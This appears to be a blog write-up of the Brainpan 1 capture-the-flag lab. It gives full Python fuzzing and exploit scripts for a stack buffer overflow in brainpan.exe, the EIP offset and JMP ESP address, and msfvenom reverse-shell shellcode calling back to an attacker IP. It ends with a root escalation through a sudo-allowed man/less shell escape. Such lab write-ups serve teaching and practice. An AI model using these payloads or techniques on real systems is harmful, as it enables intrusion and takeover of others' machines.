Sitemap

Brainpan1 — Buffer Overflow Write-up

7 min readJun 18, 2025

--

Press enter or click to view image in full size

Brainpan is perfect for *OSCP* practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine. If you get stuck on this machine, don’t give up (or look at writeups), just try harder.
All credit to [superkojiman](https://www.vulnhub.com/entry/brainpan-1,51/) — This machine is used here with the explicit permission of the creator ❤

Today, we will exploit the Brainpan 1 machine from Try Hack Me (https://tryhackme.com/room/brainpan).

Press enter or click to view image in full size

It’s a great CTF to learn and practice buffer overflow exploit. Although it says it’s a hard room, it’s pretty simple to got shell, using only basics techniques for that. So without further ado, let’s get started.

Note: That’s my first write-up. I tried to make everything didactic but it is recommended to have at least a basic knowledge about Assembly and Registers to a fully understanding. Also, sorry, if you encountered some English error. You can find my YouTube Channel in this link: https://www.youtube.com/@link.404.

Scan and Enumeration

Firstly, let’s start with a Nmap scan, I used the db_nmap from msfconsole, but you can use the normal command:

msf6 > db_nmap -sS 10.10.205.39 -D RND:28 --open -g 53 -v
[*] Nmap: PORT STATE
[*] Nmap: 9999/tcp open
[*] Nmap: 10000/tcp open

As you can see in the output, we have 2 open ports:

  • 9999
  • 10000

Start from port 9999, with netcat, we discover that it runs a service called Brainpan that receives an input as password.

That’s might be our attack vector.

Trying to connect to port 10000 via browser by the link http://10.10.205.39:10000, we found a website:

Press enter or click to view image in full size

Navigating through it, there’s nothing special, just an infographic.

We can scan it for hidden directories:

$ dirb http:/10.10.205.39:10000 /usr/share/wordlists/dirb/common.txt 

By that way, we found the \bin directory where is possible to find brainpan.exe.

Building our Exploit

With that in hand, we can start debugging from our personal lab. I will use a Windows 10 virtual machine for that. Following is the list of tools that we’ll need:

Fuzzing

Let’s start by creating a Fuzzing Script using Python:

import socket
import sys
from time import sleep

# Local lab IP
TARGET = "192.168.15.53"

# don't forget to use `b` to convert string to Byte
buffer = 100 * b"A"


while True:
try:
# \r\n is the Return (ENTER) command
payload = buffer + b"\r\n"
sleep(0.3)

# Create connection, note that we have to create a new connection
# for every loop
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2) # if timeout, socket not created -> except case
s.connect((TARGET, 9999))
print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()

# Increment buffer by 100 b"A"
buffer += 100 * b"A"
except:
print(f"App crashed at {len(buffer)} Bytes!")
sys.exit(1)

By this script we found that the app crashes at 1000 Bytes. Now, we have to find the exact offset to the EIP register/pointer.

Fortunately, Metasploit have 2 useful tools for that.

  • msf-pattern_create
  • msf-pattern_offset
  1. Let’s create a character pattern:
$ msf-pattern_create -l 1000 # -l is the pattern lenght

2. Now we copy the output into our payload:

From now on, we don’t need the while loop anymore.

import socket
import sys
from time import sleep

TARGET = "192.168.15.53"

# pattern created from msf-pattern
buffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
payload = buffer + b"\r\n"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((TARGET, 9999))

print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()

3. Send to the target machine while debugging the program if Immunity Debugger.

After the payload was sent, check the debugger, in the bottom we’ll see something like this:

Press enter or click to view image in full size

Copy the string of the Access violation: 35724134.

4. And Voilà

Running the following command, we have the EIP offset.

┌──(root㉿warlock)-[/home/link/Desktop/THM/Brainpan1]
└─# msf-pattern_offset -l 1000 -q 35724134
[*] Exact match at offset 524

Note:

524 is the offset of EBP offset, the offset of EIP is:

Get Link’s stories in your inbox

Join Medium for free to get updates from this writer.

EIP_offset = EBP_offset + 4

Finding Bad Chars

Now, we have to find some chars that the program might do not accept, called Bad Chars.

First of all, let’s generate a Char List in hex decimal, we’ll exclude the \x00 since it is a common bad char.

char_list = [
#list compreension
hex(i).replace("0x", "\\x")
for i in range(1,256)
]

for data in char_list:
print(data, end="")

print()

Save the output in a text file, because we’ll use it soon.

Now, let’s adapt our exploit with the bad char list:

import socket
import sys
from time import sleep

TARGET = "192.168.15.53"

# pattern created from msf-pattern
buffer = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
# 524 A to get offset + 4 B to align EIP Address + Bad chars
payload = 524 * b"A" + 4 * b"B" + buffer + b"\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((TARGET, 9999))

print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()

After, send it to the program. We have to check the characters that was received.

Right click on ESP register, then Follow in Dump:

In Dump Screen, select every byte from 01 until FF, copy it, and paste in a .txt file.

Press enter or click to view image in full size

Now in windows, run the expdevBadChar.

C:\Users\User\Desktop>badchars.py good.txt bad.txt -n

Where good.txt is the original list that we generated and bad.txt is the dump that we just copy.

Press enter or click to view image in full size

Luckily, we don’t have any bad char.

Finding Return Address

In this step, we need to find a fixed address, i.e, that doesn’t have ASLR protection to the JMP ESP instruction.

In the debugger, let’s run the command !mona modules :

Press enter or click to view image in full size

The only module that doesn’t have ASLR activated is brainpan.exe. We have to found desired instruction inside it.

In Kali Linux, type msf-nasm_shell, then, the instruction:

If the OP CODE in hand, we turn back to the debugger in the Windows machine and type !mona find -s "\xff\e4 -m brainpan

Take note of the address, we’re almost done

Creating Shell Code and Getting a Shell

Back to Kali Linux, it’s time to generate the shell code, remember that our real target is a Linux machine, not a Windows.

Using msfvenom, let’s create the malware.

$ msfvenom -p linux/x86/shell_reverse_tcp lhost=10.6.33.178 lport=443 -b "\x00" -f c

Now, we add the address of JMP ESP and the shell code into our python exploit.

import socket
import sys
from time import sleep

TARGET = "10.10.250.59"

# Don't forget to add the JMP_ESP address in little-endian format
JMP_ESP_ADDR = b"\xf3\x12\x17\x31" # 0x311712F3
NOP_INSTRUCTION = b"\x90"

SHELL_CODE = (b"\xb8\xe5\x36\x3b\x74\xda\xc7\xd9\x74\x24\xf4\x5a\x29\xc9"
b"\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\xa7\x38\xd9\x81\x16"
b"\x9e\xea\x89\x0b\x63\x46\x24\xa9\xea\x89\x08\xcb\x21\xc9"
b"\xfa\x4a\x0a\xf5\x31\xec\x23\x73\x33\x84\xb9\x85\xe2\xe6"
b"\xd6\x8b\xe4\x07\x9c\x05\x05\xb7\x84\x45\x97\xe4\xfb\x65"
b"\x9e\xeb\x31\xe9\xf2\x83\xa7\xc5\x81\x3b\x50\x35\x49\xd9"
b"\xc9\xc0\x76\x4f\x59\x5a\x99\xdf\x56\x91\xda")


buffer = 524 * b"A" + JMP_ESP_ADDR + 32 * NOP_INSTRUCTION + SHELL_CODE
payload = buffer + b"\r\n"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((TARGET, 9999))

print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()

Turn on Netcat on the Kali, and it’s time to receive our shell from the target machine.

Press enter or click to view image in full size

Privilege Escalation

Let’s upgrade our shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Checking the sudo privileges by sudo -l, we found some interesting:

Press enter or click to view image in full size

We can execute the anansi_util as Sudo without password.

Testing the app usage, it is possible to notice that the manual option can be our privesc vector. It opens the man of the parameter given.
Remember, man uses less tool, which allow us to send shell commands.

So, all we have to do is invoke a bash typing

!/bin/bash

And, now we are root!

Press enter or click to view image in full size

Thank you for reading until here and happy exploit =)

If you like it and want to support me, buy me a coffee through paypal donation link:

--

--

Link
Link

Written by Link

Aspiring Offensive Cybersecurity Specialist. Since 2023 breaking things to learn how to fix them. I write about hacking, network, and code with coffee.